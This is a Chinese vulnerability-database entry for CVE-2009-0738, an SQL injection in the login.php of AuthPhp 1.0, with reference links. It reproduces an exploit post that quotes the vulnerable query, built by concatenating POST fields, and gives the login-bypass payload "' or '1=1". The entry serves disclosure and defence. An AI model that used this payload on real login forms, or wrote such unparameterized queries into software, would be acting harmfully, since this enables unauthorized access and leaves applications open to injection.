Frankmancuso Auth Php 'login.php' SQL注入漏洞

QQ空间 新浪微博 微信 QQ facebook twitter
漏洞ID 1117386 漏洞类型 SQL注入
发布时间 2009-02-10 更新时间 2009-02-25
CVE编号 CVE-2009-0738 CNNVD-ID CNNVD-200902-563
漏洞平台 PHP CVSS评分 7.5
|漏洞来源
https://www.exploit-db.com/exploits/8033
https://cxsecurity.com/issue/WLB-2009020292
http://www.cnnvd.org.cn/web/xxk/ldxqById.tag?CNNVD=CNNVD-200902-563
|漏洞详情
AuthPhp是一款Frankmancuso开发的个人网站身份验证程序。AuthPhp1.0版本的login.php中存在SQL注入漏洞。远程攻击者可以借助(1)用户名和(2)passwd参数,执行任意SQL指令。
|漏洞EXP
#########################################################################################
[0x01] Informations:

Name           : AuthPhp 1.0
Download       :
http://frankmancuso.ca/downloads/authphp/authphp-stable-1.0.zip
Vulnerability  : Auth Bypass
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/login.php

[Code]
{
	$username = $_POST['username'];
	$passwd = $_POST['passwd'];
	
	// Call mysql class
	$db = new db;
	$db->connect();
	$sql = "SELECT * FROM users WHERE username='$username' &&
password='$passwd' ";
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: ' or '1=1

########################################################################################

# milw0rm.com [2009-02-10]
|参考资料

来源:BID
名称:33723
链接:http://www.securityfocus.com/bid/33723
来源:MILW0RM
名称:8033
链接:http://www.milw0rm.com/exploits/8033
来源:SECUNIA
名称:33908
链接:http://secunia.com/advisories/33908